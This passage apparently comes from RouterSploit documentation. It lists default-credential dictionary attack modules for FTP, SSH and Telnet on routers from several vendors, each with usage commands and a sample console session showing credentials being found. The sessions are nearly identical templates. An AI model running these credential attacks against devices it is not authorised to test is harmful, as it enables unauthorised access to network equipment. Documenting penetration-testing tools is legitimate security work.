   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Billion Telnet Default Creds (`docs/modules/creds/routers/billion/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Billion Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/billion/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/billion/telnet_default_creds
rsf (Billion Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Billion Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Cisco Ftp Default Creds (`docs/modules/creds/routers/cisco/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Cisco Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/cisco/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/cisco/ftp_default_creds
rsf (Cisco Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Cisco Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Cisco Ssh Default Creds (`docs/modules/creds/routers/cisco/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Cisco Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/cisco/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/cisco/ssh_default_creds
rsf (Cisco Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Cisco Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Cisco Telnet Default Creds (`docs/modules/creds/routers/cisco/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Cisco Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/cisco/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/cisco/telnet_default_creds
rsf (Cisco Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Cisco Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Comtrend Ftp Default Creds (`docs/modules/creds/routers/comtrend/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Comtrend Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/comtrend/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/comtrend/ftp_default_creds
rsf (Comtrend Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Comtrend Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Comtrend Ssh Default Creds (`docs/modules/creds/routers/comtrend/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Comtrend Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/comtrend/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/comtrend/ssh_default_creds
rsf (Comtrend Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Comtrend Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Comtrend Telnet Default Creds (`docs/modules/creds/routers/comtrend/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Comtrend Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/comtrend/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/comtrend/telnet_default_creds
rsf (Comtrend Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Comtrend Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Dlink Ftp Default Creds (`docs/modules/creds/routers/dlink/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against D-Link Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/dlink/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/dlink/ftp_default_creds
rsf (D-Link Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Dlink Ssh Default Creds (`docs/modules/creds/routers/dlink/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against D-Link Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/dlink/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/dlink/ssh_default_creds
rsf (D-Link Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Dlink Telnet Default Creds (`docs/modules/creds/routers/dlink/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against D-Link Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/dlink/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/dlink/telnet_default_creds
rsf (D-Link Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Fortinet Ftp Default Creds (`docs/modules/creds/routers/fortinet/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Fortined Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/fortinet/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/fortinet/ftp_default_creds
rsf (Fortinet Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Fortinet Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Fortinet Ssh Default Creds (`docs/modules/creds/routers/fortinet/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Fortinet Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/fortinet/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/fortinet/ssh_default_creds
rsf (Fortinet Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Fortinet Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Fortinet Telnet Default Creds (`docs/modules/creds/routers/fortinet/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Fortinet Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/fortinet/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/fortinet/telnet_default_creds
rsf (Fortinet Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Fortinet Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Huawei Ftp Default Creds (`docs/modules/creds/routers/huawei/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Huawei Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/huawei/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/huawei/ftp_default_creds
rsf (Huawei Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Huawei Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Huawei Ssh Default Creds (`docs/modules/creds/routers/huawei/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Huawei Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/huawei/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/huawei/ssh_default_creds
rsf (Huawei Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Huawei Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Huawei Telnet Default Creds (`docs/modules/creds/routers/huawei/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Huawei Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/huawei/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/huawei/telnet_default_creds
rsf (Huawei Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Huawei Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Ipfire Ftp Default Creds (`docs/modules/creds/routers/ipfire/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against IPFire Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/ipfire/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/ipfire/ftp_default_creds
rsf (IPFire Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (IPFire Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Ipfire Ssh Default Creds (`docs/modules/creds/routers/ipfire/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against IPFire Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/ipfire/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/ipfire/ssh_default_creds
rsf (IPFire Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (IPFire Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Ipfire Telnet Default Creds (`docs/modules/creds/routers/ipfire/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against IPFire Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/ipfire/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/ipfire/telnet_default_creds
rsf (IPFire Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (IPFire Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Juniper Ftp Default Creds (`docs/modules/creds/routers/juniper/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Juniper Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/juniper/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/juniper/ftp_default_creds
rsf (Juniper Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Juniper Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Juniper Ssh Default Creds (`docs/modules/creds/routers/juniper/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Juniper Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/juniper/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/juniper/ssh_default_creds
rsf (Juniper Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Juniper Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Juniper Telnet Default Creds (`docs/modules/creds/routers/juniper/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Juniper Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/juniper/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/juniper/telnet_default_creds
rsf (Juniper Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Juniper Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Linksys Ftp Default Creds (`docs/modules/creds/routers/linksys/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Linksys Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/linksys/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/linksys/ftp_default_creds
rsf (Linksys Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Linksys Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Linksys Ssh Default Creds (`docs/modules/creds/routers/linksys/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Linksys Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/linksys/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/linksys/ssh_default_creds
rsf (Linksys Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Linksys Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Linksys Telnet Default Creds (`docs/modules/creds/routers/linksys/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Linksys Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/linksys/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/linksys/telnet_default_creds
rsf (Linksys Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Linksys Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Mikrotik Ftp Default Creds (`docs/modules/creds/routers/mikrotik/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Mikrotik Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/mikrotik/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/mikrotik/ftp_default_creds
rsf (Mikrotik Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Mikrotik Router Default FTP Creds) > run
[*] Running module...
